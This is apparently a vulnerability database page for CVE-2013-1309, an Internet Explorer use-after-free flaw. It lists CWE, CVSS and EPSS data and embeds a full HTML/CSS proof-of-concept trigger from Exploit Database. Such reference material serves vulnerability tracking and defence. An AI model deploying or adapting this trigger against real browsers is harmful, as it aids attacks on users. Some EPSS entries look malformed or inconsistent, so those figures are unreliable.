CVE-2013-1309

CVE Descriptions

Use-after-free vulnerability in Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code via a crafted web site that triggers access to a deleted object, aka "Internet Explorer Use After Free Vulnerability," a different vulnerability than CVE-2013-1308 and CVE-2013-2551.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-416	Use After Free The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	9.3		AV:N/AC:M/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	66.72%	–	–
2023-03-12	–	–	–	95.51%	–
2023-04-02	–	–	–	94.64%	–
2023-08-20	–	–	–	94.08%	–
2023-10-08	–	–	–	94.38%	–
2023-12-03	–	–	–	95.01%	–
2024-02-04	–	–	–	95.18%	–
2024-04-07	–	–	–	94.89%	–
2024-06-02	–	–	–	94.89%	–
2024-06-09	–	–	–	94.95%	–
2024-12-22	–	–	–	95.29%	–
2025-01-19	–	–	–	95.29%	–
2025-03-18	–	–	–	–	30.08%
2025-03-18	–	–	–	–	30.08,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	99%
2023-03-12	99%
2023-04-02	99%
2023-08-20	99%
2023-10-08	99%
2023-12-03	99%
2024-02-04	99%
2024-04-07	99%
2024-06-02	99%
2024-06-09	99%
2024-12-22	1%
2025-01-19	1%
2025-03-18	96%
2025-03-18	96%

Exploit information

Exploit Database EDB-ID : 40893

Publication date : 2016-12-08 23h00 +00:00
Author : Skylined
EDB Verified : Yes

<!doctype html> <html> <head> <script> window.onload=function(){location.reload();}; </script> </head> <body> <var> <img class="float" ismap="ismap" usemap="map"/> <map id="map"><area/></map> <dfn class="float"></dfn> <a class="float"></a> <input class="zoom"/> text </var> <q class="border float zoom" xml:space="preserve"> </q> </body> <style type="text/css"> .float { float:left; } .zoom { zoom:3000%; } .border::first-letter { border-top:1px; } </style> </html>